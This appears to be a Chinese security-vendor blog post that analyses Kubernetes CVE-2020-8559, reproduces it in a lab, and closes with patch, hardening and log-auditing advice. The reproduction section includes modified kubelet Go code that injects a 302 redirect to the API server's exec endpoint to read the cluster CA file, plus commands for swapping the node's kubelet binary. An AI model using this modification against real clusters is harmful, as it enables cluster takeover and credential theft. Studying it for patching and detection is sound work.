阅读: 18
一、简介
CVE-2020-8559是一个针对Kubernetes的权限提升漏洞,攻击者可以截取某些发送至节点kubelet的升级请求,通过请求中原有的访问凭据转发请求至其他目标节点,从而造成节点的权限提升,CVSS 3.x评分为6.8[1]。版本在v1.6-v1.15之间以及v1.16.13、v1.17.9和v1.18.6之前的版本均受影响。该漏洞由Tim Allclair提交[2]。
目前网上暂无针对该漏洞的详实资料,但笔者在探寻针对Kubernetes的渗透路线时,发现通过该漏洞可以直接获取集群的控制权限,它的危害可能由于评分不高的缘故被大大低估。因此希望通过此篇文章,让大家了解它的危害并感受其利用过程。以上简单的漏洞说明可能难以理解,下面笔者将给出理解该漏洞所需的背景知识,然后对漏洞进行分析、复现,最后给出相关修复建议以及总结与思考。
二、背景知识
2.1 API Server
API Server提供了Kubernetes各类资源对象(Pod,RC, Service等)的增删改查及watch等HTTP REST API接口,成为集群中各个功能模块之间数据交互和通信的中心枢纽,是整个系统的数据总线和数据中心。除此之外,它还具有代理转发的功能,将外界对于部分API的调用转发到后端实际执行这些API功能的组件上。例如,常用的对Pod执行exec的操作,就是API Server作为代理,将请求转发到了对应节点的kubelet上,由该kubelet执行具体命令。
2.2 kubelet
Kubelet 是 Kubernetes 工作节点上的一个代理组件,运行在每个节点上。它定期从API Server组件接收新的或修改的Pod规范,并确保Pod及其容器在期望规范下运行。同时该组件作为工作节点的监控组件,向API Server汇报主机的运行状况。
三、漏洞分析
该漏洞是由于Kubernetes API Server和kubelet的请求遵循HTTP重定向,当kubelet进程响应/exec、/attach、/portforward等动作时附带了HTTP 302重定向和Location头,Kubernetes API Server或Kubectl命令将会使用原始请求的凭证,为Location头中的任何内容提出新请求。图2可以帮助我们更好地理解:
正常情况下,当Node节点上的Pod被执行/exec、/attach等操作时,会经历图2中①②③的步骤。
如图3所示,在实际利用CVE-2020-8559的过程中,当攻击者获取了Node节点的root权限时,可以通过修改kubelet拦截来自API Server转发的请求,然后在其中加入恶意的302请求,kubelet在向API Server返回/exec等动作执行的结果时会发起新的请求,新的请求会沿用原始请求的凭证,走向图3中④⑤⑥的流程,kubelet在接收到API Server转发过来的请求之后便会直接执行,即使该kubelet在Master节点,如此便可通过API Server转发的方式控制集群,达到权限提升的效果。话不多说,下面我们将通过实践来感受整个利用链的效果。
四、漏洞复现
4.1 环境准备
场景涉及Master和Node节点的搭建,为了方便,我们借助开源靶场工具Metarget[4]来部署漏洞环境。在即将作为Master节点的主机上下载Metarget,然后执行以下命令:
./metarget cnv install cve-2020-8559 –domestic –verbose
安装完成之后会在metarget/tools/目录下生成install_k8s_worker.sh文件,将该文件复制到作为Node节点的主机上(与Master节点网络可连通),然后执行 bash install_k8s_worker.sh,即可完成Master节点和Node节点的部署:
然后在Master节点上安装一个正常运行的pod:./metarget cnv install no-vuln-ubuntu
因为Kubernetes集群的机制,该pod会自动运行在Node节点上。
4.2 漏洞利用
假设我们通过一定手段已经获取了Node节点的root权限,为了拦截对kubelet的某些请求,我们需要替换Node节点上的kubelet(以下漏洞利用手段参考github[5])。
步骤一——厉兵秣马
本次搭建的环境中Kubernetes版本为v1.17.1,因此先下载相同版本的Kubernetes源码:
git clone –branch v1.17.1 –single-branch https://github.com/kubernetes/kubernetes.git
编辑kubernetes/pkg/kubelet/server/server.go文件中的ServeHTTP()函数,如下所示:
// ServeHTTP responds to HTTP requests on the kubelet.
func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {
handler := httplog.WithLogging(s.restfulCont, statusesNoTracePred)
// monitor http requests
var serverType string
if s.auth == nil {
serverType = “readonly”
} else {
serverType = “readwrite”
}
method, path := req.Method, trimURLPath(req.URL.Path)
// ———————Begin—————————
protocol := “https”
host := “Master-IP:6443”
namespace := “kube-system”
pod := “kube-apiserver-cloudplay”
container := “kube-apiserver”
command1 := “cat”
command2 :=”/etc/kubernetes/pki/ca.crt”
if strings.Contains(req.URL.Path, “/exec”) || strings.Contains(req.URL.Path, “/attach”) || strings.Contains(req.URL.Path, “/portforward”) {
fmt.Println(“————————————————————–“)
fmt.Println(“Sending Redirect”)
fmt.Println(“————————————————————–“)
http.Redirect(w, req, protocol+”://”+host+”/api/v1/namespaces/”+namespace+”/pods/”+pod+”/exec?command=”+command1+”&command=”+command2+”&container=”+container+”&stderr=true&stdout=true”, 302)
}
// ———————End—————————
注意其中修改的内容:
(本次漏洞利用的目标为获取Master节点上API Server的ca.crt凭证)
host为Master节点IP和API server运行的端口
namespace、pod、container 根据Master节点运行的pod具体情况填写
command字段为执行的命令,此处的利用场景为读取API Server的相关凭证文件,需要执行的命令应为cat /etc/kubernetes/pki/ca.crt,但此条命令涉及参数,因此在构造API请求时需要通过command拼接的形式。
编辑完成之后保存并退出,运行以下命令进行编译:
cd kubernetes/ (kubernetes源码根目录)
GO111MODULE=on go mod download (golang版本要求支持mod参数.)
cd kubernetes/cmd/kubelet
go build
步骤二——移花接木
将编译好的kubelet上传至Node节点,找到正在运行的kubelet进程:ps aux | grep kubelet
将原kubelet进程结束:kill $pid
备份原kubelet文件(备份是个好习惯):cp /usr/bin/kubelet /usr/bin/kubelet.bak
覆盖原kubelet文件:cp -f kubernetes/cmd/kubelet/kubelet /usr/bin/kubelet
确认kubelet是否重启(kubelet会自动重启,可多次重复kill操作,确认启动时间为最新):ps aux | grep kubelet
步骤三——直捣黄龙
在Master节点上执行以下命令:
kubectl exec no-vuln-ubuntu -n metarget — hostname
当向位于Node节点上的pod执行exec操作时,按照图3的流程,API Server会将该请求转发给Node节点上的kubelet执行,此时Node节点上的kubelet已经被我们替换,/exec的请求触发了我们新增的302重定向请求,导致Node节点的kubelet向API server发起了我们构造的恶意请求,并且沿用了原始请求的凭证(因为该请求是从API server转发过来的,所以认证已经通过),最终成功读取了/etc/kubernetes/pki/ca.crt文件。同理,我们可以读取其他敏感凭证,以此来获取到API Server的控制权。
4.3 注意事项
通过以上利用过程可以发现,此漏洞的利用需要满足两个条件:
- 获取到Node节点的root权限,因此可以替换kubelet
- 拥有运行在Node节点上任意个pod的exec、attach、portforward等权限
五、漏洞修复
查看CVE-2020-8559的补丁[6],部分代码如图8、图9所示:
可以发现官方针对此漏洞的修复策略是对30x等重定向请求做处理,建立了一个后端用来处理升级请求,禁止了将重定向请求返回给客户端执行,即阻止了图3中步骤④。
为了防范此漏洞的利用,除更新补丁之外,在集群部署时也应遵循权限最小化原则,使得Node节点的root权限难以获取,pod的相关权限也尽可能收敛,阻碍攻击者漏洞利用链的形成。
同时,为了监控此漏洞的利用,可以通过审计Kubernetes日志,当以下资源模型请求的响应代码在300-399之间,很有可能存在相关漏洞利用行为:
- pods/exec
- pods/attach
- pods/portforward
- 任何资源的proxy(如pods/proxy、services/proxy)
六、总结与思考
CVE-2020-8559是为数不多的针对Kubernetes集群的权限提升漏洞,和CVSS3.x评分9.8的CVE-2018-1002105[7]相同之处在于,两者都是API Server与kubelet之间处理请求的问题。不同的是,当Kubernetes开启认证机制时,利用CVE-2018-1002105需要掌握某个pod的token凭证,便于通过API Server的认证和kubelet建立通道,且当通道建立时,该kubelet只能对所在节点的pod执行命令,只有当所在节点为Master节点时,才能控制API Server,真正实现控制集群的效果。而在实际环境中,Master节点一般不会部署业务pod,仅运行一些核心组件,如kube-apiserver,etcd等,所以攻击者利用的pod很有可能并不在Master节点,因此CVE-2018-1002105的危害性有限。而CVE-2020-8559虽然评分相对较低,但当攻击者通过容器逃逸到宿主机环境时,一般为主机的root权限,已满足利用条件之一,若当前权限不满足条件二,只能像前文描述的过程那样等待集群管理员在Master上对Node节点的pod执行exec/attach等操作;若当前权限满足条件二,则可以优于CVE-2018-1002105,在Node节点上跨节点实现对集群的真正控制。同时随着近年来云原生漏洞的增多,容器逃逸的手段也变得丰富起来,从容器环境逃逸到宿主机环境的可能性变得更高,利用CVE-2020-8559的可能性也随之提高,依此来看,CVE-2020-8559在对集群的危害方面完成了逆袭。
希望读者能通过此文章理解该漏洞的危害,作为集群管理人员,应培养及时更新补丁的好习惯;作为云安全从业者,也应认真考虑如何检测并阻断漏洞利用行为,共同建设安全的云原生环境。
最后,由绿盟科技星云实验室编写的《云原生安全:攻防实践与体系构建》一书已上线京东自营,本书从容器基础设施、编排系统和微服务多层面完整地讲解了云原生的风险、攻防和安全架构,干货多多,欢迎大家购买阅读并参与讨论。
参考文献
[1] https://nvd.nist.gov/vuln/detail/CVE-2020-8559
[2] https://github.com/kubernetes/kubernetes/issues/92914
[3] https://kubernetes.io/zh/docs/concepts/overview/components/
[4] https://github.com/Metarget/metarget
[5] https://github.com/tdwyer/CVE-2020-8559
[6] https://github.com/kubernetes/kubernetes/pull/92941/commits
[7] https://xz.aliyun.com/t/3542
版权声明
本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司(“绿盟科技”)。作为分享技术资讯的平台,绿盟科技期待与广大用户互动交流,并欢迎在标明出处(绿盟科技-技术博客)及网址的情形下,全文转发。
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。